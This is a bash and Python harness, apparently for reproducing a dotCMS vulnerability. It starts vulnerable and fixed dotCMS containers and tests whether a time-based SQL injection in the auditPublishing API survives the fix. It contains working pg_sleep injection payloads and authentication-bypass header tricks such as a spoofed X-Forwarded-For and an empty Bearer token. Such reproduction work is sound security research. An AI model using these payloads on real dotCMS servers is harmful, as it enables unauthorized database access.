#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VULN_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VULN_DIR"

exec > >(tee -a "$LOGS/vuln_variant_reproduction_steps.log")
exec 2>&1

log() { echo "[$(date -Iseconds)] $*"; }
fail() { log "FAIL: $*"; exit 1; }

# ---------------------------------------------------------------------------
# Docker image handling
# ---------------------------------------------------------------------------
ensure_image() {
  local img="$1"
  if docker images --format '{{.Repository}}:{{.Tag}}' | grep -qx "$img"; then
    log "Image $img already present"
    return 0
  fi
  log "Pulling image $img ..."
  docker pull "$img"
}

VULN_TAG="26.04.28-02"
FIXED_TAG="26.04.28-03"

log "Ensuring required Docker images are available ..."
ensure_image "dotcms/dotcms:$VULN_TAG"
ensure_image "dotcms/dotcms:$FIXED_TAG"
ensure_image "postgres:15"
ensure_image "opensearchproject/opensearch:1.3.19"
ensure_image "python:3-slim"
ensure_image "curlimages/curl:latest"

# ---------------------------------------------------------------------------
# Python variant-test harness
# ---------------------------------------------------------------------------
TEST_API="$VULN_DIR/test_variant.py"
cat > "$TEST_API" <<'PY'
import json, time, urllib.request, urllib.error, urllib.parse, os

host = os.environ.get("HOST", "dotcms")
base = f"http://{host}:8082"

def request(url, method="GET", body=None, headers=None):
    headers = headers or {}
    start = time.perf_counter()
    try:
        if body is not None and not isinstance(body, (str, bytes)):
            body = json.dumps(body).encode()
        elif isinstance(body, str):
            body = body.encode()
        req = urllib.request.Request(url, data=body, headers=headers, method=method)
        with urllib.request.urlopen(req, timeout=20) as resp:
            return resp.status, resp.read().decode(errors="replace"), time.perf_counter() - start, dict(resp.headers)
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), time.perf_counter() - start, dict(e.headers)
    except Exception as e:
        return -1, str(e), time.perf_counter() - start, {}

false_payload = ["x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '"]
true_payload = ["x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"]
sqli_get = "x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"

results = {
    "host": host,
    "tag": os.environ.get("TAG", "unknown"),
    "tests": {}
}

def record(name, status, body, duration, headers=None):
    results["tests"][name] = {
        "status": status,
        "body": body[:500] if isinstance(body, str) else str(body)[:500],
        "duration": duration,
        "headers": {k: v for k, v in (headers or {}).items() if k.lower() in ["content-type", "www-authenticate"]}
    }

# Positive control: original POST /getAll SQLi
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", false_payload, {"Content-Type": "application/json"})
record("getAll_false_condition", s, b, d, h)

s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json"})
record("getAll_true_condition", s, b, d, h)

# Candidate 1: GET /get/{bundleId} with SQLi payload in path
s, b, d, h = request(f"{base}/api/auditPublishing/get/{urllib.parse.quote(sqli_get)}")
record("get_path_sqli", s, b, d, h)

# Candidate 2: POST /getAll with body as a single JSON string instead of a list
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", json.dumps(sqli_get), {"Content-Type": "application/json"})
record("getAll_single_string_body", s, b, d, h)

# Candidate 3: POST /getAll with empty JSON list
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", [], {"Content-Type": "application/json"})
record("getAll_empty_list", s, b, d, h)

# Candidate 4: POST /getAll with text/plain content type
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", json.dumps(true_payload), {"Content-Type": "text/plain"})
record("getAll_text_plain", s, b, d, h)

# Candidate 5: POST /getAll with missing Content-Type
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", json.dumps(true_payload))
record("getAll_missing_content_type", s, b, d, h)

# Candidate 6: POST /getAll with Authorization header set to empty Bearer
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json", "Authorization": "Bearer "})
record("getAll_empty_bearer", s, b, d, h)

# Candidate 7: POST /getAll with X-Forwarded-For: 127.0.0.1 (auth endpoint-key lookup uses remote IP)
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json", "X-Forwarded-For": "127.0.0.1"})
record("getAll_x_forwarded_for_localhost", s, b, d, h)

# Candidate 8: POST /getAll with X-HTTP-Method-Override: GET (server-side method override, if supported)
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json", "X-HTTP-Method-Override": "GET"})
record("getAll_method_override", s, b, d, h)

print(json.dumps(results, indent=2))
PY

# ---------------------------------------------------------------------------
# Per-role stack runner
# ---------------------------------------------------------------------------
run_stack() {
  local role="$1"
  local version="$2"
  local port="$3"
  local net="pruva-cve20268054-variant-${role}-net"
  local os="pruva-cve20268054-variant-${role}-os"
  local pg="pruva-cve20268054-variant-${role}-pg"
  local dc="pruva-cve20268054-variant-${role}-dotcms"

  log "=== Starting ${role} stack (dotcms/dotcms:${version}) on port ${port} ==="

  docker rm -f "$dc" "$pg" "$os" >/dev/null 2>&1 || true
  docker network rm "$net" >/dev/null 2>&1 || true
  docker network create "$net" >/dev/null 2>&1

  docker run -d --name "$os" --network "$net" --hostname "$os" \
    --ulimit memlock=-1:-1 --ulimit nofile=65536:65536 \
    -e cluster.name=elastic-cluster \
    -e discovery.type=single-node \
    -e bootstrap.memory_lock=true \
    -e OPENSEARCH_JAVA_OPTS="-Xmx1G" \
    opensearchproject/opensearch:1.3.19 >/dev/null

  docker run -d --name "$pg" --network "$net" --hostname "$pg" \
    -e POSTGRES_USER=dotcmsdbuser \
    -e POSTGRES_PASSWORD=password \
    -e POSTGRES_DB=dotcms \
    postgres:15 postgres -c 'max_connections=400' -c 'shared_buffers=128MB' >/dev/null

  docker run -d --name "$dc" --network "$net" --hostname "$dc" \
    -p "${port}:8082" \
    -e DB_BASE_URL="jdbc:postgresql://${pg}/dotcms" \
    -e DB_USERNAME=dotcmsdbuser \
    -e DB_PASSWORD=password \
    -e DOT_ES_ENDPOINTS="https://${os}:9200" \
    -e DOT_ES_AUTH_BASIC_USER=admin \
    -e DOT_ES_AUTH_BASIC_PASSWORD=admin \
    -e DOT_ES_AUTH_TYPE=BASIC \
    -e CMS_JAVA_OPTS="-Xmx1g" \
    -e LANG=C.UTF-8 \
    -e TZ=UTC \
    -e DOT_INITIAL_ADMIN_PASSWORD=admin \
    -e DOT_DOTCMS_CLUSTER_ID="dotcms-${role}" \
    dotcms/dotcms:"$version" >/dev/null

  local cleanup_done=0
  cleanup_role() {
    if [ "$cleanup_done" -eq 1 ]; then return; fi
    cleanup_done=1
    docker stop -t 30 "$dc" "$pg" "$os" >/dev/null 2>&1 || true
    docker rm -f "$dc" "$pg" "$os" >/dev/null 2>&1 || true
    docker network rm "$net" >/dev/null 2>&1 || true
  }
  trap cleanup_role EXIT

  log "Waiting for ${role} dotCMS to finish startup (timeout 300s) ..."
  local waited=0
  while [ "$waited" -lt 300 ]; do
    if docker logs --tail 50 "$dc" 2>/dev/null | grep -q "LIVENESS FIRST SUCCESS"; then
      log "${role} dotCMS is live after ${waited}s"
      break
    fi
    sleep 5
    waited=$((waited + 5))
  done
  if [ "$waited" -ge 300 ]; then
    log "${role} dotCMS did not become ready within 300s"
    return 1
  fi

  log "Waiting for ${role} dotCMS HTTP service to respond ..."
  waited=0
  while [ "$waited" -lt 120 ]; do
    local code
    code=$(docker run --rm --network "$net" curlimages/curl:latest \
      --connect-timeout 5 --max-time 5 -s -o /dev/null -w "%{http_code}" \
      "http://${dc}:8082/api/v1/system/status" || true)
    if [ -n "$code" ] && [ "$code" != "000" ]; then
      log "${role} dotCMS healthcheck returned HTTP ${code} after ${waited}s"
      break
    fi
    sleep 5
    waited=$((waited + 5))
  done
  if [ "$waited" -ge 120 ]; then
    log "${role} dotCMS HTTP service did not respond within 120s"
    return 1
  fi

  log "Running variant tests against ${role} dotCMS ..."
  local b64
  b64=$(base64 -w0 "$TEST_API")
  local results
  if ! results=$(docker run --rm --network "$net" \
    -e HOST="$dc" \
    -e TAG="$version" \
    -e CODE="$b64" \
    python:3-slim python3 -c 'import base64,os; exec(base64.b64decode(os.environ["CODE"]))'); then
    log "Variant test sidecar failed for ${role}"
    return 1
  fi
  printf '%s\n' "$results" > "$LOGS/${role}_variant_results.json"

  cleanup_role
  trap - EXIT
  log "=== ${role} stack cleaned up ==="
}

# ---------------------------------------------------------------------------
# Run vulnerable and fixed stacks
# ---------------------------------------------------------------------------
VULN_PORT=8084
FIXED_PORT=8085

run_stack "vuln" "$VULN_TAG" "$VULN_PORT" || fail "vulnerable stack did not start"
run_stack "fixed" "$FIXED_TAG" "$FIXED_PORT" || fail "fixed stack did not start"

# ---------------------------------------------------------------------------
# Analyze results
# ---------------------------------------------------------------------------
python3 - "$LOGS/vuln_variant_results.json" "$LOGS/fixed_variant_results.json" "$LOGS/vuln_variant_analysis.json" <<'PY'
import json, sys

vuln = json.load(open(sys.argv[1]))
fixed = json.load(open(sys.argv[2]))

analysis = {
    "vuln_tag": vuln.get("tag"),
    "fixed_tag": fixed.get("tag"),
    "tests": []
}

for test_name in vuln.get("tests", {}).keys():
    v = vuln["tests"][test_name]
    f = fixed["tests"].get(test_name, {})
    analysis["tests"].append({
        "name": test_name,
        "vuln_status": v.get("status"),
        "vuln_duration": v.get("duration"),
        "fixed_status": f.get("status"),
        "fixed_duration": f.get("duration"),
    })

# Positive control should show SQLi on vuln and no delay on fixed
pos_vuln = vuln["tests"].get("getAll_true_condition", {})
pos_fixed = fixed["tests"].get("getAll_true_condition", {})
positive_control_ok = (
    pos_vuln.get("status") == 200 and pos_vuln.get("duration", 0) >= 4.0 and
    pos_fixed.get("status") == 401 and pos_fixed.get("duration", 0) < 1.0
)

# Bypass / variant found if any fixed test shows the SQLi time delay (duration >= 4.0 with status 200)
bypass_candidates = []
for test_name, f in fixed["tests"].items():
    if f.get("status") == 200 and f.get("duration", 0) >= 4.0:
        bypass_candidates.append(test_name)

analysis["positive_control_ok"] = positive_control_ok
analysis["bypass_or_variant_found"] = len(bypass_candidates) > 0
analysis["bypass_candidates"] = bypass_candidates

with open(sys.argv[3], "w") as out:
    json.dump(analysis, out, indent=2)

print(json.dumps(analysis, indent=2))
PY

BYPASS_FOUND=$(jq -r '.bypass_or_variant_found' "$LOGS/vuln_variant_analysis.json" 2>/dev/null || echo "false")
POS_CTRL=$(jq -r '.positive_control_ok' "$LOGS/vuln_variant_analysis.json" 2>/dev/null || echo "false")

if [ "$POS_CTRL" != "true" ]; then
  log "Positive control failed; variant test setup may be unreliable."
  exit 1
fi

if [ "$BYPASS_FOUND" = "true" ]; then
  log "VARIANT/BYPASS CONFIRMED: fixed version still showed time-delay SQLi for candidate(s): $(jq -r '.bypass_candidates | join(", ")' "$LOGS/vuln_variant_analysis.json")"
  exit 0
else
  log "No variant or bypass confirmed against the fixed version."
  exit 1
fi
